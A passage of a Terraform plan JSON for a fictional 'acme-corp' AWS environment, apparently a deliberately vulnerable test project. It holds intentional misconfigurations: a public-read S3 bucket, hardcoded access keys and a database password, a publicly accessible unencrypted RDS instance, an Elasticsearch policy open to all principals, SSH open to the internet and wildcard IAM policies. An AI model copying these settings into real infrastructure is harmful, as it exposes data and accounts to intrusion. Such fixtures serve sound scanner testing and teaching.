- "disable_api_termination": null, - "ebs_optimized": null, - "get_password_data": false, - "hibernation": null, - "iam_instance_profile": "123456789123-acme-corp-profile", - "instance_initiated_shutdown_behavior": null, - "instance_type": "t2.nano", - "monitoring": null, - "source_dest_check": true, - "tags": { - "Name": "123456789123-acme-corp-dbapp" - }, - "timeouts": null, - "user_data_base64": null - } - }, - { - "address": "aws_instance.web_host", - "mode": "managed", - "type": "aws_instance", - "name": "web_host", - "provider_name": "aws", - "schema_version": 1, - "values": { - "ami": "ami-09a5b0b7edf08843d", - "credit_specification": [], - "disable_api_termination": null, - "ebs_optimized": null, - "get_password_data": false, - "hibernation": null, - "iam_instance_profile": null, - "instance_initiated_shutdown_behavior": null, - "instance_type": "t2.nano", - "monitoring": null, - "source_dest_check": true, - "tags": { - "Name": "123456789123-acme-corp-ec2" - }, - "timeouts": null, - "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", - "user_data_base64": null - } - }, - { - "address": "aws_internet_gateway.web_igw", - "mode": "managed", - "type": "aws_internet_gateway", - "name": "web_igw", - "provider_name": "aws", - "schema_version": 0, - "values": { - "tags": { - "Name": "123456789123-acme-corp-igw" - } - } - }, - { - "address": "aws_kms_alias.logs_key_alias", - "mode": "managed", - "type": "aws_kms_alias", - "name": "logs_key_alias", - "provider_name": "aws", - "schema_version": 0, - "values": { - "name": "alias/123456789123-acme-corp-logs-bucket-key", - "name_prefix": null - } - }, - { - "address": "aws_kms_key.logs_key", - "mode": "managed", - "type": "aws_kms_key", - "name": "logs_key", - "provider_name": "aws", - "schema_version": 0, - "values": { - "customer_master_key_spec": "SYMMETRIC_DEFAULT", - "deletion_window_in_days": 7, - "description": "123456789123-acme-corp-logs bucket key", - "enable_key_rotation": false, - "is_enabled": true, - "key_usage": "ENCRYPT_DECRYPT", - "tags": null - } - }, - { - "address": "aws_lambda_function.analysis_lambda", - "mode": "managed", - "type": "aws_lambda_function", - "name": "analysis_lambda", - "provider_name": "aws", - "schema_version": 0, - "values": { - "dead_letter_config": [], - "description": null, - "environment": [ - { - "variables": { - "access_key": "AKIAIOSFODNN7EXAMPLE", - "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" - } - } - ], - "file_system_config": [], - "filename": "resources/lambda_function_payload.zip", - "function_name": "123456789123-acme-corp-analysis", - "handler": "exports.test", - "kms_key_arn": null, - "layers": null, - "memory_size": 128, - "publish": false, - "reserved_concurrent_executions": -1, - "runtime": "nodejs12.x", - "s3_bucket": null, - "s3_key": null, - "s3_object_version": null, - "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", - "tags": null, - "timeout": 3, - "timeouts": null, - "vpc_config": [] - } - }, - { - "address": "aws_neptune_cluster.default", - "mode": "managed", - "type": "aws_neptune_cluster", - "name": "default", - "provider_name": "aws", - "schema_version": 0, - "values": { - "apply_immediately": true, - "backup_retention_period": 5, - "cluster_identifier": "neptunedb1", - "deletion_protection": null, - "enable_cloudwatch_logs_exports": null, - "engine": "neptune", - "final_snapshot_identifier": null, - "iam_database_authentication_enabled": false, - "iam_roles": null, - "neptune_cluster_parameter_group_name": "default.neptune1", - "port": 8182, - "preferred_backup_window": "07:00-09:00", - "replication_source_identifier": null, - "skip_final_snapshot": true, - "snapshot_identifier": null, - "storage_encrypted": false, - "tags": null, - "timeouts": null - } - }, - { - "address": "aws_neptune_cluster_instance.default[0]", - "mode": "managed", - "type": "aws_neptune_cluster_instance", - "name": "default", - "index": 0, - "provider_name": "aws", - "schema_version": 0, - "values": { - "apply_immediately": true, - "auto_minor_version_upgrade": true, - "engine": "neptune", - "instance_class": "db.t3.medium", - "neptune_parameter_group_name": "default.neptune1", - "port": 8182, - "promotion_tier": 0, - "publicly_accessible": false, - "tags": null, - "timeouts": null - } - }, - { - "address": "aws_neptune_cluster_snapshot.default", - "mode": "managed", - "type": "aws_neptune_cluster_snapshot", - "name": "default", - "provider_name": "aws", - "schema_version": 0, - "values": { - "db_cluster_snapshot_identifier": "resourcetestsnapshot1", - "timeouts": null - } - }, - { - "address": "aws_network_interface.web-eni", - "mode": "managed", - "type": "aws_network_interface", - "name": "web-eni", - "provider_name": "aws", - "schema_version": 0, - "values": { - "description": null, - "private_ips": [ - "172.16.10.100" - ], - "source_dest_check": true, - "tags": { - "Name": "123456789123-acme-corp-primary_network_interface" - } - } - }, - { - "address": "aws_route.public_internet_gateway", - "mode": "managed", - "type": "aws_route", - "name": "public_internet_gateway", - "provider_name": "aws", - "schema_version": 0, - "values": { - "destination_cidr_block": "0.0.0.0/0", - "destination_ipv6_cidr_block": null, - "timeouts": { - "create": "5m", - "delete": null - }, - "transit_gateway_id": null, - "vpc_peering_connection_id": null - } - }, - { - "address": "aws_route_table.web_rtb", - "mode": "managed", - "type": "aws_route_table", - "name": "web_rtb", - "provider_name": "aws", - "schema_version": 0, - "values": { - "tags": { - "Name": "123456789123-acme-corp-rtb" - } - } - }, - { - "address": "aws_route_table_association.rtbassoc", - "mode": "managed", - "type": "aws_route_table_association", - "name": "rtbassoc", - "provider_name": "aws", - "schema_version": 0, - "values": { - "gateway_id": null - } - }, - { - "address": "aws_route_table_association.rtbassoc2", - "mode": "managed", - "type": "aws_route_table_association", - "name": "rtbassoc2", - "provider_name": "aws", - "schema_version": 0, - "values": { - "gateway_id": null - } - }, - { - "address": "aws_s3_bucket.data", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "data", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "public-read", - "bucket": "123456789123-acme-corp-data", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-data" - }, - "website": [] - } - }, - { - "address": "aws_s3_bucket.data_science", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "data_science", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "private", - "bucket": "123456789123-acme-corp-data-science", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [ - { - "target_prefix": "log/" - } - ], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": null, - "versioning": [ - { - "enabled": true, - "mfa_delete": false - } - ], - "website": [] - } - }, - { - "address": "aws_s3_bucket.financials", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "financials", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "private", - "bucket": "123456789123-acme-corp-financials", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-financials" - }, - "website": [] - } - }, - { - "address": "aws_s3_bucket.flowbucket", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "flowbucket", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "private", - "bucket": "123456789123-acme-corp-flowlogs", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-flowlogs" - }, - "website": [] - } - }, - { - "address": "aws_s3_bucket.logs", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "logs", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "log-delivery-write", - "bucket": "123456789123-acme-corp-logs", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [ - { - "rule": [ - { - "apply_server_side_encryption_by_default": [ - { - "sse_algorithm": "aws:kms" - } - ] - } - ] - } - ], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-logs" - }, - "versioning": [ - { - "enabled": true, - "mfa_delete": false - } - ], - "website": [] - } - }, - { - "address": "aws_s3_bucket.operations", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "operations", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "private", - "bucket": "123456789123-acme-corp-operations", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-operations" - }, - "versioning": [ - { - "enabled": true, - "mfa_delete": false - } - ], - "website": [] - } - }, - { - "address": "aws_s3_bucket_object.data_object", - "mode": "managed", - "type": "aws_s3_bucket_object", - "name": "data_object", - "provider_name": "aws", - "schema_version": 0, - "values": { - "acl": "private", - "cache_control": null, - "content": null, - "content_base64": null, - "content_disposition": null, - "content_encoding": null, - "content_language": null, - "force_destroy": false, - "key": "customer-master.xlsx", - "metadata": null, - "object_lock_legal_hold_status": null, - "object_lock_mode": null, - "object_lock_retain_until_date": null, - "source": "resources/customer-master.xlsx", - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-customer-master" - }, - "website_redirect": null - } - }, - { - "address": "aws_security_group.default", - "mode": "managed", - "type": "aws_security_group", - "name": "default", - "provider_name": "aws", - "schema_version": 1, - "values": { - "description": "Managed by Terraform", - "name": "123456789123-acme-corp-rds-sg", - "name_prefix": null, - "revoke_rules_on_delete": false, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-rds-sg" - }, - "timeouts": null - } - }, - { - "address": "aws_security_group.web-node", - "mode": "managed", - "type": "aws_security_group", - "name": "web-node", - "provider_name": "aws", - "schema_version": 1, - "values": { - "description": "123456789123-acme-corp Security Group", - "egress": [ - { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": "", - "from_port": 0, - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "protocol": "-1", - "security_groups": [], - "self": false, - "to_port": 0 - } - ], - "ingress": [ - { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": "", - "from_port": 22, - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "protocol": "tcp", - "security_groups": [], - "self": false, - "to_port": 22 - }, - { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": "", - "from_port": 80, - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "protocol": "tcp", - "security_groups": [], - "self": false, - "to_port": 80 - } - ], - "name": "123456789123-acme-corp-sg", - "name_prefix": null, - "revoke_rules_on_delete": false, - "tags": null, - "timeouts": null - } - }, - { - "address": "aws_security_group_rule.egress", - "mode": "managed", - "type": "aws_security_group_rule", - "name": "egress", - "provider_name": "aws", - "schema_version": 2, - "values": { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": null, - "from_port": 0, - "ipv6_cidr_blocks": null, - "prefix_list_ids": null, - "protocol": "-1", - "self": false, - "to_port": 0, - "type": "egress" - } - }, - { - "address": "aws_security_group_rule.ingress", - "mode": "managed", - "type": "aws_security_group_rule", - "name": "ingress", - "provider_name": "aws", - "schema_version": 2, - "values": { - "cidr_blocks": [ - "172.16.0.0/16" - ], - "description": null, - "from_port": 3306, - "ipv6_cidr_blocks": null, - "prefix_list_ids": null, - "protocol": "tcp", - "self": false, - "to_port": 3306, - "type": "ingress" - } - }, - { - "address": "aws_subnet.eks_subnet1", - "mode": "managed", - "type": "aws_subnet", - "name": "eks_subnet1", - "provider_name": "aws", - "schema_version": 1, - "values": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2a", - "cidr_block": "10.10.10.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-eks-subnet", - "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" - }, - "timeouts": null - } - }, - { - "address": "aws_subnet.eks_subnet2", - "mode": "managed", - "type": "aws_subnet", - "name": "eks_subnet2", - "provider_name": "aws", - "schema_version": 1, - "values": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2b", - "cidr_block": "10.10.11.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-eks-subnet2", - "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" - }, - "timeouts": null - } - }, - { - "address": "aws_subnet.web_subnet", - "mode": "managed", - "type": "aws_subnet", - "name": "web_subnet", - "provider_name": "aws", - "schema_version": 1, - "values": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2a", - "cidr_block": "172.16.10.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-subnet" - }, - "timeouts": null - } - }, - { - "address": "aws_subnet.web_subnet2", - "mode": "managed", - "type": "aws_subnet", - "name": "web_subnet2", - "provider_name": "aws", - "schema_version": 1, - "values": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2b", - "cidr_block": "172.16.11.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-subnet2" - }, - "timeouts": null - } - }, - { - "address": "aws_volume_attachment.ebs_att", - "mode": "managed", - "type": "aws_volume_attachment", - "name": "ebs_att", - "provider_name": "aws", - "schema_version": 0, - "values": { - "device_name": "/dev/sdh", - "force_detach": null, - "skip_destroy": null - } - }, - { - "address": "aws_vpc.eks_vpc", - "mode": "managed", - "type": "aws_vpc", - "name": "eks_vpc", - "provider_name": "aws", - "schema_version": 1, - "values": { - "assign_generated_ipv6_cidr_block": false, - "cidr_block": "10.10.0.0/16", - "enable_dns_hostnames": true, - "enable_dns_support": true, - "instance_tenancy": "default", - "tags": { - "Name": "123456789123-acme-corp-eks-vpc" - } - } - }, - { - "address": "aws_vpc.web_vpc", - "mode": "managed", - "type": "aws_vpc", - "name": "web_vpc", - "provider_name": "aws", - "schema_version": 1, - "values": { - "assign_generated_ipv6_cidr_block": false, - "cidr_block": "172.16.0.0/16", - "enable_dns_hostnames": true, - "enable_dns_support": true, - "instance_tenancy": "default", - "tags": { - "Name": "123456789123-acme-corp-vpc" - } - } - }, - { - "address": "null_resource.push_image", - "mode": "managed", - "type": "null_resource", - "name": "push_image", - "provider_name": "null", - "schema_version": 0, - "values": { - "triggers": null - } - } - ] - } - }, - "resource_changes": [ - { - "address": "aws_db_instance.default", - "mode": "managed", - "type": "aws_db_instance", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "allocated_storage": 20, - "allow_major_version_upgrade": null, - "apply_immediately": true, - "auto_minor_version_upgrade": true, - "backup_retention_period": 0, - "copy_tags_to_snapshot": false, - "db_subnet_group_name": "sg-123456789123-acme-corp", - "delete_automated_backups": true, - "deletion_protection": null, - "domain": null, - "domain_iam_role_name": null, - "enabled_cloudwatch_logs_exports": null, - "engine": "mysql", - "engine_version": "8.0", - "final_snapshot_identifier": null, - "iam_database_authentication_enabled": null, - "identifier": "rds-123456789123-acme-corp", - "instance_class": "db.t3.micro", - "iops": null, - "max_allocated_storage": null, - "monitoring_interval": 0, - "multi_az": false, - "name": "db1", - "option_group_name": "og-123456789123-acme-corp", - "parameter_group_name": "pg-123456789123-acme-corp", - "password": "Aa1234321Bb", - "performance_insights_enabled": false, - "publicly_accessible": true, - "replicate_source_db": null, - "s3_import": [], - "security_group_names": null, - "skip_final_snapshot": true, - "snapshot_identifier": null, - "storage_encrypted": false, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-rds" - }, - "timeouts": null, - "username": "admin" - }, - "after_unknown": { - "address": true, - "arn": true, - "availability_zone": true, - "backup_window": true, - "ca_cert_identifier": true, - "character_set_name": true, - "endpoint": true, - "hosted_zone_id": true, - "id": true, - "identifier_prefix": true, - "kms_key_id": true, - "license_model": true, - "maintenance_window": true, - "monitoring_role_arn": true, - "performance_insights_kms_key_id": true, - "performance_insights_retention_period": true, - "port": true, - "replicas": true, - "resource_id": true, - "s3_import": [], - "status": true, - "storage_type": true, - "tags": {}, - "timezone": true, - "vpc_security_group_ids": true - } - } - }, - { - "address": "aws_db_option_group.default", - "mode": "managed", - "type": "aws_db_option_group", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "engine_name": "mysql", - "major_engine_version": "8.0", - "name": "og-123456789123-acme-corp", - "option": [], - "option_group_description": "Terraform OG", - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-og" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "id": true, - "name_prefix": true, - "option": [], - "tags": {} - } - } - }, - { - "address": "aws_db_parameter_group.default", - "mode": "managed", - "type": "aws_db_parameter_group", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "description": "Terraform PG", - "family": "mysql8.0", - "name": "pg-123456789123-acme-corp", - "parameter": [ - { - "apply_method": "immediate", - "name": "character_set_client", - "value": "utf8" - }, - { - "apply_method": "immediate", - "name": "character_set_server", - "value": "utf8" - } - ], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-pg" - } - }, - "after_unknown": { - "arn": true, - "id": true, - "name_prefix": true, - "parameter": [ - {}, - {} - ], - "tags": {} - } - } - }, - { - "address": "aws_db_subnet_group.default", - "mode": "managed", - "type": "aws_db_subnet_group", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "description": "Terraform DB Subnet Group", - "name": "sg-123456789123-acme-corp", - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "sg-123456789123-acme-corp" - } - }, - "after_unknown": { - "arn": true, - "id": true, - "name_prefix": true, - "subnet_ids": true, - "tags": {} - } - } - }, - { - "address": "aws_ebs_snapshot.example_snapshot", - "mode": "managed", - "type": "aws_ebs_snapshot", - "name": "example_snapshot", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "description": "123456789123-acme-corp-ebs-snapshot", - "tags": { - "Name": "123456789123-acme-corp-ebs-snapshot" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "data_encryption_key_id": true, - "encrypted": true, - "id": true, - "kms_key_id": true, - "owner_alias": true, - "owner_id": true, - "tags": {}, - "volume_id": true, - "volume_size": true - } - } - }, - { - "address": "aws_ebs_volume.web_host_storage", - "mode": "managed", - "type": "aws_ebs_volume", - "name": "web_host_storage", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "availability_zone": "us-west-2a", - "multi_attach_enabled": null, - "outpost_arn": null, - "size": 1, - "tags": { - "Name": "123456789123-acme-corp-ebs" - } - }, - "after_unknown": { - "arn": true, - "encrypted": true, - "id": true, - "iops": true, - "kms_key_id": true, - "snapshot_id": true, - "tags": {}, - "type": true - } - } - }, - { - "address": "aws_ecr_repository.repository", - "mode": "managed", - "type": "aws_ecr_repository", - "name": "repository", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "encryption_configuration": [], - "image_scanning_configuration": [], - "image_tag_mutability": "MUTABLE", - "name": "123456789123-acme-corp-repository", - "tags": { - "Name": "123456789123-acme-corp-repository" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "encryption_configuration": [], - "id": true, - "image_scanning_configuration": [], - "registry_id": true, - "repository_url": true, - "tags": {} - } - } - }, - { - "address": "aws_eks_cluster.eks_cluster", - "mode": "managed", - "type": "aws_eks_cluster", - "name": "eks_cluster", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "enabled_cluster_log_types": null, - "encryption_config": [], - "name": "123456789123-acme-corp-eks", - "tags": null, - "timeouts": null, - "vpc_config": [ - { - "endpoint_private_access": true, - "endpoint_public_access": true, - "security_group_ids": null - } - ] - }, - "after_unknown": { - "arn": true, - "certificate_authority": true, - "created_at": true, - "encryption_config": [], - "endpoint": true, - "id": true, - "identity": true, - "platform_version": true, - "role_arn": true, - "status": true, - "version": true, - "vpc_config": [ - { - "cluster_security_group_id": true, - "public_access_cidrs": true, - "subnet_ids": true, - "vpc_id": true - } - ] - } - } - }, - { - "address": "aws_elasticsearch_domain.monitoring-framework", - "mode": "managed", - "type": "aws_elasticsearch_domain", - "name": "monitoring-framework", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "cluster_config": [ - { - "dedicated_master_count": null, - "dedicated_master_enabled": false, - "dedicated_master_type": null, - "instance_count": 1, - "instance_type": "t2.small.elasticsearch", - "warm_count": null, - "warm_enabled": null, - "warm_type": null, - "zone_awareness_config": [], - "zone_awareness_enabled": null - } - ], - "cognito_options": [], - "domain_name": "tg-corp-es", - "ebs_options": [ - { - "ebs_enabled": true, - "iops": null, - "volume_size": 30 - } - ], - "elasticsearch_version": "2.3", - "log_publishing_options": [], - "snapshot_options": [], - "tags": null, - "timeouts": null, - "vpc_options": [] - }, - "after_unknown": { - "access_policies": true, - "advanced_options": true, - "advanced_security_options": true, - "arn": true, - "cluster_config": [ - { - "zone_awareness_config": [] - } - ], - "cognito_options": [], - "domain_endpoint_options": true, - "domain_id": true, - "ebs_options": [ - { - "volume_type": true - } - ], - "encrypt_at_rest": true, - "endpoint": true, - "id": true, - "kibana_endpoint": true, - "log_publishing_options": [], - "node_to_node_encryption": true, - "snapshot_options": [], - "vpc_options": [] - } - } - }, - { - "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", - "mode": "managed", - "type": "aws_elasticsearch_domain_policy", - "name": "monitoring-framework-policy", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", - "domain_name": "tg-corp-es" - }, - "after_unknown": { - "id": true - } - } - }, - { - "address": "aws_elb.weblb", - "mode": "managed", - "type": "aws_elb", - "name": "weblb", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "access_logs": [], - "connection_draining": true, - "connection_draining_timeout": 400, - "cross_zone_load_balancing": true, - "health_check": [ - { - "healthy_threshold": 2, - "interval": 30, - "target": "HTTP:8000/", - "timeout": 3, - "unhealthy_threshold": 2 - } - ], - "idle_timeout": 400, - "listener": [ - { - "instance_port": 8000, - "instance_protocol": "http", - "lb_port": 80, - "lb_protocol": "http", - "ssl_certificate_id": "" - } - ], - "name": "weblb-terraform-elb", - "name_prefix": null, - "tags": { - "Name": "foobar-terraform-elb" - } - }, - "after_unknown": { - "access_logs": [], - "arn": true, - "availability_zones": true, - "dns_name": true, - "health_check": [ - {} - ], - "id": true, - "instances": true, - "internal": true, - "listener": [ - {} - ], - "security_groups": true, - "source_security_group": true, - "source_security_group_id": true, - "subnets": true, - "tags": {}, - "zone_id": true - } - } - }, - { - "address": "aws_flow_log.vpcflowlogs", - "mode": "managed", - "type": "aws_flow_log", - "name": "vpcflowlogs", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "eni_id": null, - "iam_role_arn": null, - "log_destination_type": "s3", - "max_aggregation_interval": 600, - "subnet_id": null, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-flowlogs" - }, - "traffic_type": "ALL" - }, - "after_unknown": { - "arn": true, - "id": true, - "log_destination": true, - "log_format": true, - "log_group_name": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_iam_access_key.user", - "mode": "managed", - "type": "aws_iam_access_key", - "name": "user", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "pgp_key": null, - "user": "123456789123-acme-corp-user" - }, - "after_unknown": { - "encrypted_secret": true, - "id": true, - "key_fingerprint": true, - "secret": true, - "ses_smtp_password_v4": true, - "status": true - } - } - }, - { - "address": "aws_iam_instance_profile.ec2profile", - "mode": "managed", - "type": "aws_iam_instance_profile", - "name": "ec2profile", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "name": "123456789123-acme-corp-profile", - "name_prefix": null, - "path": "/", - "role": "123456789123-acme-corp-role" - }, - "after_unknown": { - "arn": true, - "create_date": true, - "id": true, - "unique_id": true - } - } - }, - { - "address": "aws_iam_role.ec2role", - "mode": "managed", - "type": "aws_iam_role", - "name": "ec2role", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", - "description": null, - "force_detach_policies": false, - "max_session_duration": 3600, - "name": "123456789123-acme-corp-role", - "name_prefix": null, - "path": "/", - "permissions_boundary": null, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-role" - } - }, - "after_unknown": { - "arn": true, - "create_date": true, - "id": true, - "tags": {}, - "unique_id": true - } - } - }, - { - "address": "aws_iam_role.iam_for_eks", - "mode": "managed", - "type": "aws_iam_role", - "name": "iam_for_eks", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", - "description": null, - "force_detach_policies": false, - "max_session_duration": 3600, - "name": "123456789123-acme-corp-iam-for-eks", - "name_prefix": null, - "path": "/", - "permissions_boundary": null, - "tags": null - }, - "after_unknown": { - "arn": true, - "create_date": true, - "id": true, - "unique_id": true - } - } - }, - { - "address": "aws_iam_role.iam_for_lambda", - "mode": "managed", - "type": "aws_iam_role", - "name": "iam_for_lambda", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", - "description": null, - "force_detach_policies": false, - "max_session_duration": 3600, - "name": "123456789123-acme-corp-analysis-lambda", - "name_prefix": null, - "path": "/", - "permissions_boundary": null, - "tags": null - }, - "after_unknown": { - "arn": true, - "create_date": true, - "id": true, - "unique_id": true - } - } - }, - { - "address": "aws_iam_role_policy.ec2policy", - "mode": "managed", - "type": "aws_iam_role_policy", - "name": "ec2policy", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "name": "123456789123-acme-corp-policy", - "name_prefix": null, - "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" - }, - "after_unknown": { - "id": true, - "role": true - } - } - }, - { - "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", - "mode": "managed", - "type": "aws_iam_role_policy_attachment", - "name": "policy_attachment-AmazonEKSClusterPolicy", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", - "role": "123456789123-acme-corp-iam-for-eks" - }, - "after_unknown": { - "id": true - } - } - }, - { - "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", - "mode": "managed", - "type": "aws_iam_role_policy_attachment", - "name": "policy_attachment-AmazonEKSServicePolicy", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", - "role": "123456789123-acme-corp-iam-for-eks" - }, - "after_unknown": { - "id": true - } - } - }, - { - "address": "aws_iam_user.user", - "mode": "managed", - "type": "aws_iam_user", - "name": "user", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "force_destroy": true, - "name": "123456789123-acme-corp-user", - "path": "/", - "permissions_boundary": null, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-user" - } - }, - "after_unknown": { - "arn": true, - "id": true, - "tags": {}, - "unique_id": true - } - } - }, - { - "address": "aws_iam_user_policy.userpolicy", - "mode": "managed", - "type": "aws_iam_user_policy", - "name": "userpolicy", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "name": "excess_policy", - "name_prefix": null, - "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", - "user": "123456789123-acme-corp-user" - }, - "after_unknown": { - "id": true - } - } - }, - { - "address": "aws_instance.db_app", - "mode": "managed", - "type": "aws_instance", - "name": "db_app", - 